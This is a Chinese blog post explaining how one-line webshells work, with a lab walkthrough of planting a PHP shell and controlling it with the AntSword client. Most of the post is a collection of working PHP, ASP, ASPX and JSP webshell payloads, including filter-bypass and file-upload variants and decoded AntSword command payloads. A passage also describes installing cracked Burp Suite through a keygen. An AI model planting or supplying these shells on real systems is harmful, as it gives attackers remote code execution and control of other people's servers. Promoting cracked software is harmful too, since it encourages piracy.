飞道的博客

一句话木马的原理

394人阅读  评论(0)

一句话木马的原理

0x00 前言

常用的一句话后门工具分为 ASP、ASP.NET、JSP和 PHP 四种类型

0x01 解析 PHP 一句话木马的原理

常用一句话木马

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

PHP一句话

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){
   eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
 
//绕过<?php ?>限制的一句话 
 
<?=eval($_POST['cmd']);

说明:

@ 错误控制符,即使出现错误,也无视出现的错误信息,继续执行下边的代码

eval 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

fengzilin 这个名称可以随便定义,是接受菜刀或蚁剑通过 post 方式发送过来的代码数据,也可以称为菜刀或蚁剑连接一句话木马的密码,这里设置成什么,用菜刀或蚁剑连接的时候也要用什么。

列如:通过一句话木马执行 PHP 代码

┌──(root💀fengzilin54)-[~]
└─# systemctl start apache2.service 
              
┌──(root💀fengzilin54)-[~]
└─# cd /var/www/html/ 

┌──(root💀fengzilin54)-[/var/www/html]
└─# vim webshell.php  

<?php @eval($_POST[fengzilin]);?>

保存退出

打开火狐浏览器,按 F12 ,切换到 HackBar

输入一句话木马的地址:http://192.168.37.139/webshell.php

选中 post data 复选框

由于一句话木马是通过POST方式接受数据,所以 HackBar 这里必须使用 Post data 来发送数据点击 Execute 执行

已经成功执行PHP 代码 echo “hell world”;

原理分析

当点击 Eecute 按钮时,将 echo “hello world”; 存储在 fengzilin 中

通过 POST 方式提交给 http://192.168.37.139/webshell.php

webshell.php 文件中的代码是 <?php @eval($_POST[fengzilin]);?>

$_POST[fengzilin] 是获取通过POST 方式提交过来的存储在fengzilin 中的数据也就是 echo "hello world";

最终 @eval($_POST[fengzilin]); 变成 @eval($_POST["echo hello world;"]);

eval 会将括号中双引号引起的部分作为 PHP 代码执行,echo 在 PHP 中输出的意思,echo ‘hello world’; 在页面中输出 hello wordl , PHP 每条语句的结束以; 结尾,所以echo ‘hello world’; 是一条完整的 PHP 代码 ,所以,最终在页面显示 hello world。

0x02 解析蚁剑连接一句话木马原理

1.蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!

2.使用蚁剑进行连接

下载 windows 64位 蚁剑

官方下载链接:https://github.com/AntSwordProject/AntSword-Loader/blob/4.0.3/AntSword-Loader-v4.0.3-win32-x64.zip

首次打开加载器时,界面如下所示:

蚁剑加载器:antSword-master

点击《初始化》按钮,选择已经解压的源代码所在的文件夹

待提示设置完毕时,重新打开蚁剑加载器,即可看到蚁剑的主界面。

在空白处单击鼠标右键,点击 添加数据

url地址:http://192.168.37.139/webshell.php

密码 :fengzilin ,用于提交post方式提交的数据

右击空白处 选择文件管理

上传下载文件
注:仅在 web 站点目录可进行上传,因为当前用户仅对 web 站点目录拥有写权限,下载文件则需要拥有对下载文件的读权限。

也可以删除文件

0x03 分析蚁剑连接原理

在win7上使用 破解版的burpsuite 抓包查看蚁剑连接一句话木马传递的数据

环境说明:
操作系统:windows 软件环境:Java 1.8

将文件夹解压,然后运行jdk-8y221-windows-x64

安装

一直 下一步 ,后面就不截图了,

至此安装成功。

安装完成后打开 burp-loader-keygen.jar

点击run

点击之后会启动 burpsuite Pro 版本

手动激活

开始burpsuite截断

打开蚁剑设置代理

双击已经添加的 URL 地址

可以看到已经抓到蚁剑通过 POST 方式提交的数据

红色部分数据是被进行URL编码 的PHP 代码,将红色代码部分使用 burpsuite 的Decoder 进行解码

解码出来的蚁剑提交给一句话木马的PHP代码

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){
   return $out;};function asoutput(){
   $output=ob_get_contents();ob_end_clean();echo "e74f9";echo @asenc($output);echo "9dd248d25468";}ob_start();try{
   $D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{
     $D}	";if(substr($D,0,1)!="/"){
   foreach(range("C","Z")as $L)if(is_dir("{
     $L}:"))$R.="{
     $L}:";}else{
   $R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{
     $s}";echo $R;;}catch(Exception $e){
   echo "ERROR://".$e->getMessage();};asoutput();die();

此部分代码就是蚁剑连接一句话木马时$_POST[fengzilin] 获取到的代码,然后放到 eval 中进行 执行。

放行此数据包,然后通过蚁剑进行一些操作,再查看下蚁剑传递给一句话木马的代码数据。

选择一个文件右击下载,保存

打开burpsuite 查看抓到的数据包

将进行 URL 编码的 POST 数据进行解码

解码后的代码为

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){
   return $out;};function asoutput(){
   $output=ob_get_contents();ob_end_clean();echo "a37ba93fe";echo @asenc($output);echo "2b18a";}ob_start();try{
   $F=base64_decode(get_magic_quotes_gpc()?stripslashes($_POST["u97d43005b666"]):$_POST["u97d43005b666"]);$fp=@fopen($F,"r");if(@fgetc($fp)){
   @fclose($fp);@readfile($F);}else{
   echo("ERROR:// Can Not Read");};}catch(Exception $e){
   echo "ERROR://".$e->getMessage();};asoutput();die();&u97d43005b666=L3Zhci93d3cvaHRtbC9pbmRleC5odG1s

对比下之前获取到的代码,可以很明显看出来是不一样的。
总结:蚁剑通过连接一句话木马,每个功能操作,都是通过 POST 方式传递不同的执行代码给一句话木马,当一句话木马接收到蚁剑提交过来的数据(也就是代码),通过 evel 函数在目标服务器上执行,从而实现了控制目标服务器。所以,不同功能操作,传递给一句话木马的数据(代码)是不一样的,因为实现的功能不一样

0x04 加密的 ASP 一句话后门

asp一句话木马程序代码
<%eval request("sb")%>

<%execute request("sb")%>

<%execute(request("sb"))%>

<%execute request("sb")%><%'<% loop <%:%>

<%'<% loop <%:%><%execute request("sb")%>

<%execute request("sb")'<% loop <%:%>[code]

[code]<script language=vbs runat=server>eval(request("sb"))</script>

%><%Eval(Request(chr(35)))%><%

<%eval request("sb")%>

<%ExecuteGlobal request("sb")%>

if Request("sb")<>"" then ExecuteGlobal request("sb") end if

//容错代码
程序代码
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<%
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
lcx.性别((lcx.名字)+'');
%>

0x04 JSP一句话木马

JSP一句话
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

提交客户端
<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>

0x05 ASPX一句话

程序代码
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
程序代码
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
//Jscript的asp.net一句话
程序代码
<%if (Request.Files.Count!=0) {
    Request.Files[0].SaveAs(Server.MapPath(Request["f"])   ); }%>
//C#的asp.net一句话
程序代码
<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
//VB的asp.net一句话

转载:https://blog.csdn.net/fengzilin1973/article/details/116009898
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场